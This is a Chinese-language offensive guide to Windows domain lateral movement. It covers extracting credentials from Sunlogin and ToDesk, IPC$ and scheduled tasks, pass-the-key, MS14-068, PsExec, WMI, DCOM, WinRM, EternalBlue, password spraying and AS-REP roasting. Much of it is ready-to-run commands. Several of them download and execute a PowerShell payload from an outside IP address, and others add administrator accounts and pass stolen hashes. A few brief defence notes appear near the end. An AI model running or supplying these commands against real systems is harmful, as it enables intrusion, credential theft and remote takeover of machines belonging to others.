Windows域渗透手法
利用远控工具向日葵横向移动¶
向日葵介绍¶
向日葵远程控制软件是一款免费的集远程控制电脑/手机/平板、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件,且还能进行远程文件传输、远程摄像头监控等。
支持系统:Winodws/Linux/MacOS/Android/iOS
向日葵远控连接¶
向日葵免安装的时候第一次会进入选择界面
Note
向日葵有便携版(免安装)和安装版,其中便携版不需要用户交互(需要更改注册表),上传只能上传便携版,但如果目标本身存在向日葵,可直接寻找config.ini文件
安装版:
便携版(绿色版):
使用注册注册表的方式进行绕过,注册表文件如下
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient]
# 此处对应向日葵版本
"11.1.0.37237_IsRunSeted"="1"
将以上的代码保存为,xxx.reg如(1.reg)

将文件传到目标服务器

运行注册注册表的命令和运行向日葵

查看向日葵配置文件
shell type C:\ProgramData\Oray\SunloginClient\config.ini
fastcode:本机识别码去掉k
encry_pwd:本机验证码,密文无法直接解密

使用github提供的脚本文件进行解密

使用向日葵连接
Note
也可以将靶机encry_pwd复制到本地向日葵config.ini,重启服务,得到靶机连接码
不同版本¶
旧版本¶
这里旧版本是指v11.0.0.38222以及以前的版本
找到配置文件config.ini
安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini
fastcode便是本机识别码,在这里是941244985 其中encry_pwd是本机验证码加密后的字段,我们使用工具即可解密 利用工具:
解密得到本机验证码为4M9aON
较新版本¶
在向日葵v11.1.2.38529中,强化了加密机制,删除了配置文件config.ini中的fastcode(本机识别码)字段和encry_pwd(本机验证码)字段,而将这些敏感信息放到了注册表中,我们可以通过注册表查询使用Sunflower_get_Password[5]工具即可解密。
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
最新版本¶
首先找到向日葵用户进程,然后使用procdump等工具转储进程内存。
使用Winhex打开转储文件,按下Ctrl+Alt+X快捷键打开十六进制值搜索功能,搜索十六进制值66617374636F646522203A20226b,即可找到本机识别码。
搜索十六进制值000000000000003C6620663D79616865692E626F6C642E323420633D 636F6C6F725F65646974203E,使用F3快捷键可以跳到下一个匹配处,多跳2次即可找到本机验证码。
利用远控工具Todesk横向移动¶
Todesk介绍¶
ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件传输、云端同步和流量加密等功能
有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS
Todesk安装¶
全功能版在双击运行、命令行执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,/S参数可以实现静默安

安装完成后自动运行,接下来查看配置文件

运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码,只需要找到目标主机ToDesk中的tempAuthPassEx临时密码或authPassEx安全密码,将它们覆盖到我们本地ToDesk中的tempAuthPassEx,重启本地ToDesk即可得到明文密码
使用cs进行文件替换
08f4314e069b5fd018daf1ce7fcba51d88e3fa3c97a396aa9157492455e28bb489142e39df3b5f6c2cb4782d1b7ecfb602f4b80a146c
密码是063 805

重启程序就可以了


重新开启

连接

利用ToDesk内网渗透与应急响应 | Jackie's Blog
利用远控工具GoToHTTP横向移动¶
GoToHTTP介绍¶
GotoHTTP工作在B2C模式。使用远程控制时,您不必在每一台电脑上都安装远程软件。不管身处何处,有浏览器就能访问远程电脑。 即使公司网络管控,仍然可以控制或被控制。支持文件传输、无人值守、剪切板同步、远程语音、远程摄像头、多显示器支持
GoToHTTP使用¶
使用cs或者其他工具将文件上传到目标机器

运行该文件

在运行目录下会生成一个配置文件

查看配置文件里面有连接地址和账号密码

使用网页连接

【远程控制】GotoHTTP 无视杀软实现远控 - 极核GetShell
利用远控工具RustDESK横向移动¶
RustDESK介绍¶
远程桌面软件,开箱即用,无需任何配置,完美替代TeamViewer。您完全掌控数据,不用担心安全问题。您可以使用我们的注册/中继服务器,或者自己设置,亦或者开发您的版本。
https://gitee.com/rustdesk/rustdesk/releases
RustDESK安装¶
上传到目标机器

运行程序

找到配置文件

可以看到没有密码,这个时候需要手写这个密码,然后重启工具

查看密码已经可以了

连接目标

干货 | 无视杀软使用远控横向小技巧 - SecPulse.COM | 安全脉搏
IPC配合计划任务横向移动¶
IPC$横向¶
IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。
IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
首先,需要建立一个ipc$


IPC$利用条件¶
1、开启了139、445端口
ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445( Windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲,ipcs需要139、445端口的支持。
2、管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c\(、d\)、e\(等和系统目录winnt或 windows( adminS)通过ipc\),可以实现对这些默认共享目录的访问
IPC$连接失败原因¶
-
用户名或密码错误
-
目标没有打开ipcs默认共享
-
不能成功连接目标的139、445端口
IPC$连接常见错误¶
-
错误号5:拒绝访问
-
错误号51: Windows无法找到网络路径,即网络中存在问题。
-
错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的 lanmanserver服务未 启动目标有防火墙(端口过滤)
-
错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipcs已被删除
-
错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进行连接。
-
错误号1326:未知的用户名或错误的密码
-
错误号1792;试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)。
-
错误号2242:此用户的密码已经过期°例如’目标机器设置了账号管理策略,强制用户定期修改密码°
利用方式-windows自带命令¶
dir命令¶
在使用 netuse命令与远程目标机器建立ipcs后,可以使用dir命令列出远程主机中的文件, 如图
tasklist命令¶
在使用 net use命令与远程目标机器建立ipcs后,可以使用 tasklist命令的/S、/U /P参数列 出远程主机上运行的进程
利用方式-schtasks¶
(1)查看系统时间(方便设置计划任务时间)

(2)复制文件

(3)创建计划任务
(4)执行计划任务
(5)删除计划任务
(6)清除IPC连接
IPC配合系统服务横向移动¶
SC命令详解¶
获取到密码并着手横向时,却发现Task Sheduler服务没有启用。这时候我们就可以远程建立服务,然后再启用服务来运行我们想要运行的命令。
SC 是用来与服务控制管理器和服务进行通信的命令行程序。
命令:
query-----------查询服务的状态,或枚举服务类型的状态。
queryex---------查询服务的扩展状态,或枚举服务类型的状态。
start-----------启动服务。
pause-----------向服务发送 PAUSE 控制请求。
interrogate-----向服务发送 INTERROGATE 控制请求。
continue--------向服务发送 CONTINUE 控制请求。
......
使用sc横向¶
IPC建立连接

复制文件
创建服务

开启服务

删除服务
上线机器
pass the key 密钥传递攻击(PTK)横向攻击¶
PTK介绍¶
WinXP/2003/Vista/2008 ,以及未打 KB2871997 补丁之前的 Win7/2008r2/8/2012,这些环境我们都可以使用NTLM哈希传递
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NTLM来进行验证
什么是KB2871997¶
KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享。
这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程连接,即使administrator修改了名字但是还可以通过AES密钥来替代NTLM验证进行横向的操作,其实这个补丁挺鸡肋的,不用AES密钥照样也可以用NTLM,只是需要Administrator(SID 500),都拿到机器了,Administrator还不容易吗?
这个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让wdigest协议认证的凭据不会存储在lsass.exe,这样子当你dump lsass.exe的时候你就会发现,wdigest协议中的凭据你就看不到了!
实验复现¶
实验条件¶

实验前提¶
我们下载已经控制了2012-2主机,发现他是admin用户登录系统,通过抓取密码发现域管账号存在内存中,但是没有明文,PTH攻击也失效,这个时候采用PTK攻击
实验步骤¶
使用钓鱼或者其他的方式进行远控

绕过uac进行提权

看到用户上有个*表示已经绕过uac
抓取密码

传递key
sekurlsa::pth /user:administrator/domain:hack.com
/aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232

登录到机器然后执行命令上线

计划任务等等之类的
net use \\2012-1.hack.com
copy C:\Users\admin\Desktop\wanli.exe \\2012-1.hack.com\C$
schtasks /create /s 2012-1.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru
system /f
schtasks /run /s 2012-1.hack.com /i /tn "test"

PTT攻击之ms14-068传递获取域管横向¶
MS14-068介绍¶
ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用
MS14-068的利用条件¶
1、获取域普通用户的账号密码
2、获取域普通用户的sid
3、服务器未打KB3011780补丁
MS14-068实验¶
环境介绍¶
域控:192.168.41.100 windows server 2008
域内机器:192.168.41.132 win10 ww 域内用户
MS14-068利用¶
查看域用户的SID

清除内存中的票据
生成票据

导入票据

执行命令

建立网络连接

复制恶意文件

添加计划任务

启动计划任务

上线DC
goldenPac.exe¶
此工具是impacket工具包里的,它是MS14-068+psexec的组合,因此使用起来非常方便快捷

PsExec工具远程命令执行横向移动¶
PsExec介绍¶
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin\(共享和ipc\) (该共享默认开启,依赖于445端口)。但是,假如目标主机开启了防火墙(防火墙禁止445端口连接),psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中
下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
PsExec使用条件¶
1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
2、能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标共享中必须有admin$共享
PsExec常用参数¶
psexec \\ip -u administrator -p admin cmd
# 进⼊半交互式shell
PsExec -accepteula \\192.168.108.101 -s cmd.exe
# 建立交互的shell
psexec \\ip - uadministrator -p admin -w c:\cmd
# 进⼊交互式shell,且c:\是⽬标机器的工作⽬录
psexec \\ip -u administrator -p admin whoami all
# 执行命令
psexec \\ip -u administrator -p admin -d c:\beacon.exe
# 执行文件
psexec \\ip -u administrator -p admin -h -d c:\beacon.exe
# UAC的⽤⼾权限执行文件
实验复现¶
IPC$下的psexec¶
上传psexec
建立IPC$连接

返回交互的shell或者执行命令
psexec.exe -accepteula \\192.168.41.150 -s cmd.exe
# 返回交互shell(必须是msf或者远程到桌面,CS不行)
psexec.exe -accepteula \\192.168.41.150 -s ipconfig
# 远程执行命令

远程复制
远程上线

PTH下的psexec¶
找到登录的凭证

找到和扫描地址

进行psexec攻击上线

填写信息上线

PTT下的psexec¶
上传psexec
进行PTT攻击
导出内存的票据

清除内存中的票据
将高权限的票据文件注入内存
查看票据
远程复制
远程上线
WMIC远程执行命令横向移动¶
什么是WMI¶
WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击。
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批处理脚本执行系统管理的支持。
简单来说:wmic就是wmic.exe,位于windows目录底下,是一个命令行程序。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),WMI就是 WindowsManagement Instrumentation(Windows 管理规范)。它是 Windows 中的一个核心管理技术。
WMIC常见命令¶
wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmi,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限,普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行。
wmic logon list brief 登录⽤户
wmic ntdomain list brief 域控机器
wmic useraccount list brief ⽤户列表
wmic share get name,path 查看系统共享
wmic service list brief |more 服务列表
wmic startup list full 识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete 删除C盘下的test目录
wmic nteventlog get path,filename,writeable 查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress 查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn 使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version 查看系统中安装的软件以及版本,2008R2上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName 更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin 更改指定用户名
wmic bios list full | findstr /i "vmware" 查看当前系统是否是VMWARE,可以按照实际情况进行筛选
wmic desktop get screensaversecure,screensavertimeout 查看当前系统是否有屏保保护,延迟是多少
wmic process where name="vmtoolsd.exe" get executablepath 获取指定进程可执行文件的路径
wmic environment where "name='temp'" get UserName,VariableValue 获取temp环境变量查询当前主机的杀毒软件
......
wmic调用cmd¶
以下命令需要管理员权限
# 执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create
"cmd.exe /c ipconfig >c:\ip.txt"
# 列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
# 在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create
c:\programdata\test.bat
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create"cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1/add
# 执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create"powershell.exe -nop -w hidden -c \"IEX ((new-objectnet.webclient).downloadstring('ps脚本地址'))\""
利用powershell上线¶
1、使用cs生成powershell脚本

2、wmic进行上线,把ps1放到同一内网机器或公网,可以使用python开启http服务提供下载 python-m http.server 9988
wmic /NODE:192.168.41.148 /user:administrator /password:Admin@123 PROCESS call
create "powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))\""
3、等待片刻上线
Wmiexec工具¶
wmiexec是一个即有全交互也有半交互的远程命令执行工具,有python版本的pe版本可运用于多种环境,包括webshell环境、rdp环境、socks环境等
wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" #执行命令
利用powershell上线¶
1、使用账号密码登录进行powershell上线
wmiexec.exe administrator:Admin@123@192.168.41.40 "powershell.exe -nop -w hidden
-c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"

2、使用hash上线
wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
administrator@192.168.41.40 "powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"
wmiexec.vbs¶
wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式
使用powershell上线
cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.148 administrator Admin@123 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"
Invoke-WMIExec¶
Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下
采用无文件落地的方式进行横向
shell powershell -exec bypass -c IEX (New-Object
System.Net.Webclient).DownloadString('http://118.178.134.226:9988/Invoke-WMIExec.ps1');import-module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target 192\.168.41.148 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab -Command "whoami" -verbose
本地执行
1、导入脚本
2、运行上线命令
powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash
570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -verbose

Invoke-WMIMethod.ps1¶
该模块为Powershell内置模块,以下为示例,可以自由组合命令进行测试。
$User #目标系统用户名
$Password #目标系统密码
$Cred #账号密码整合,导入Credential Invoke-WMIMethod #远程运行指定程序
#####---------------------------#####
$User = "administrator"
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -
ArgumentList $User , $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -
ComputerName "192.168.41.20" -Credential $Cred

SMB远程执行命令横向移动¶
SMB介绍¶
SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB 协议也被称为请求-回复协议。 客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。
利用条件:开启了445端口
smbexec使用¶
smbexec为impacket工具中的工具,操作简单,容易被杀,使用时无需先进行IPC连接
- 明文传递命令
- hash传递
smbexec -hashes :$HASH$ ./admin@192.168.213.163
smbexec -hashes :$HASH$ domain/admin@192.168.213.163
smbexec -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab
administrator@192.168.41.148
DCOM远程执行命令横向移动¶
DCOM介绍¶
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求,使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件
获取DCOM列表¶
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -classWin32_DCOMApplication | select appid,name
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32\DCOMApplication
DCOM横向前提¶
-
需要关闭系统防火墙
-
必须拥有管理员权限
-
在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
实验介绍¶
MMC20.Application远程执行命令¶
1、通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例。
$com =[activator]::CreateInstance(type::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
2、然后执行如下命令,我们就可以调用"ExecuteShellCommand"方法在远程主机上启动进程

3、将IP和命令换成上线的命令
$com =[activator]::CreateInstance(type::GetTypeFromProgID("MMC20.Application","192.168.41.147"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","Minimzed")

ShellWindows远程执行命令¶
[Activator]::CreateInstance(Type::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442 00A0C90A8F39',"127.0.0.1")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)
# 打开本地计算器

[Activator]::CreateInstance(Type::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-
00A0C90A8F39',"192.168.41.147")).item().Document.Application.ShellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:windowssystem32",$null,0)

ShellBrowserWindow远程执行命令¶
适用于Windows 10和Windows Server 2012 R2等版本的系统。
[activator]::CreateInstance(type::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-
00A0C91F3880","192.168.41.147")).Document.Application.shellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:windowssystem32",$null,0)

调用Excel.Application远程执行命令¶
目标主机中安装有excle
1、 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例
$com =
[activator]::CreateInstance(type::GetTypeFromprogID("Excel.Application","192.168.41.147"))
$com.DisplayAlerts = $false
$com =[activator]::CreateInstance(type::GetTypeFromprogID("Excel.Application","127.0.0.1"))
2、然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程
Visio.Application远程执行命令¶
目标主机中安装有Visio
[activator]::CreateInstance(type::GetTypeFromProgID("Visio.Application","192.168.52.138")).[0].Document.Application.shellExecute("C:shell.exe")
Outlook.Application远程执行命令¶
目标主机中安装有Outlook
[activator]::CreateInstance(type::GetTypeFromProgID("Outlook.Application","192.168.52.138")).createObject("Shell.Application").shellExecute("C:shell.exe")
Impacket 中的dcomexec.py¶
dcomexec.exe [domain/]username:password@ip # 创建一个交互式shell
dcomexec.exe [domain/]username:password@ip command # 执行命令
dcomexec.exe [domain/]username:@ip -hashes [hash] # hash传递

WinRM远程执行命令横向移动¶
WinRM介绍¶
WinRM(Windows远程管理)是Microsoft 在Windows中对WS-Management的实现,它使系统可以跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM可以与可能具有基板管理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于Windows的计算机(包括WinRM)。
WinRM默认端口5985(HTTP端口)或5986(HTTPS端口),若配置了WINRM远程服务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作
winrm通过HTTP(5985)或HTTPS SOAP(5986)端口来进行通信
winrs.exe¶
Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户
winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}
1、执行
提示:如果出现
Winrs error:WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用:传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。 使用 winrm.cmd 配置TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置TrustedHosts 的详细信息,请运行以下命令
请输入
使用系统漏洞ms17010横向移动¶
Cobalt Strike 生成DLL¶
1、生成 CS的生成 bin文件

2、使用msf 用 bin文件生成 dll文件
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o wanli111.dll
3、或者直接生成也行

原版ms17-010渗透¶
1、CS执行下面的命令
Eternalblue-2.2.0.exe --TargetIp 192.168.41.168 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt

Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 192\.168.41.168 --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload 123.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60

域内用户名枚举¶
域内用户名枚举可以在无域内有效凭据的情况下,枚举出域内存在的用户名,并对其进行密码喷洒攻击,以此获得域内的有效凭据。
在kerberos协议认证的AS-REP阶段中,请求包cname对应的值是用户名。当用户状态分别为**用户存在且启用、用户存在但禁用、用户不存在**,AS-REP的包各不相同
三种状态的错误代码分别为:
- KRB5DC_ERR_PREAUTH_REQUIRED 需要额外的预认证(用户存在且启用)
- KRB5DC_ERR_CLIENT_REVOKED 客户端凭证已被吊销(用户存在但禁用 )
- KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端(用户不存在)
MSF枚举¶
使用auxiliary/gather/kerberos_enumusers模块

可以看到administator和de1ay用户存在
kerbrute工具枚举¶
kerbrute.exe userenum --dc {DC} -d {DOMAIN} {USER_FILE}
# userenum:用户枚举模式
# --dc:指定域控ip
# -d:指定域名
# user.txt:用户名字典

域内用户名枚举攻击防御¶
由于域内用户名枚举是发送大量的AS-REQ包,根据返回包的内容筛选出存在的域用户,可以通过流量分析,如果同一个ip短时间内有发送大量的AS-REQ包,则可以判断为异常。
域内密码喷洒¶
域内密码喷洒一般和域内用户名枚举一起使用。
在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED 。所以可以利用这一点去对域用户名进行密码喷洒攻击。
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题。
kerbrute工具¶

如果**域内不存在密码锁定策略**,则可以针对单个用户进行密码字典爆破。针对域内管理员administrator进行密码字典爆破的命令如下。

CrackMapExec¶
CrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux 默认已经安装好。
下载地址: https://github.com/byt3bl33d3r/CrackMapExec

DomainPasswordSpray.ps1¶
需要域内用户使用该工具(原因在于该工具利用的是LDAP协议)
使用方式:
Import-Module DomainPasswordSpray.ps1 # 导入
Invoke-DomainPasswordSpray -UserList name.txt -Domain candada.com -Password admin@123
-OutFile res.txt
MSF喷洒¶
使用scanner/smb/smb_login模块
域内密码喷洒攻击防御¶
由于域内密码喷洒是通过发送大量的AS-REQ包,根据返回包的内容判断密码是否正确,因此可通过以下方法进行检测。
- 流量层面:可通过检测同一ip在短时间内是否发送了大量的AS-REQ包来判断。如果同一ip在短时间内发送大量的AS-REQ包,则可判断为异常
- 日志层面:当口令爆破成功时,会产生事件ID为4768且结果代码为0x0的审核成功的kerberos身份验证服务事件日志。而口令爆破失败时,默认情况下不会记录任何日志,因此日志层面不太好检测,需要通过设备去检测。
- 要求域用户使用强密码
AS-REP Roasting¶
预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用**比较局限**,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是**没有勾选上**的。

勾选上后,域控不会作任何验证就将TGT票据和该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。
利用前提¶
- 域用户勾选“不要求kerberos预身份验证”选项
- 需要一台可与KDC 88端口进行通信的主机
Rubeus工具¶
下载地址:https://github.com/GhostPack/Rubeus
Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询域内的spn,再通过发送TGS包,然后直接打印出能使用hashcat或爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。

为了能让hashcat识别,我们要在
$krb5asrep后面添加一个$23

然后使用hashcat爆破即可

ASREPRoast.ps1¶
powerview脚本是包含在empire项目下的
empire下载地址:https://github.com/EmpireProject/Empire/
powerview脚本可以查找域中设置了不需要kerberos预身份验证的用户,导入脚本后运行命令

然后再使用ASREPRoast.ps1获取AS-REP返回的Hash
下载地址:https://github.com/HarmJ0y/ASREPRoast/
先导入脚本,在执行命令
就可以拿到hash,然后就可以用hashcat进行爆破
非域内机器攻击¶
对于不在域内的机器的话,假设我们现在拥有一个有效的域账户和密码
- 对于非域内的机器,无法通过LDAP来发起用户名的查询。
- 所以要想获取 "不需要kerberos预身份验证" 的域内账号,只能通过枚举用户名的方式来获得。而AS-REP Hash方面。非域内的主机,只要能和DC通信,便可以获取到。使用Get-ASREPHash,通过指定Server的参数即可
Import-Module .ASREPRoast.ps1
Get-ASREPHash -UserName hack -Domain redteam.red -Server 10.10.10.8 | Out-File -Encoding ASCII hash.txt
# 配合域内用户枚举攻击
获取到Hash后,使用hashcat对其爆破,和上面一样即可。
AS-REP Roasting攻击防御¶
- 检测域中是否存在设置了“不要求kerberos预身份验证”属性的用户。如果存在,将该属性取消即可。
- 如果在日志层面进行检测,重点关注事件ID为4768且预身份验证类型为0的日志,该日志类型为“不要求kerberos预身份验证”属性的用户发起的kerberos认证。

Kerberoast攻击¶
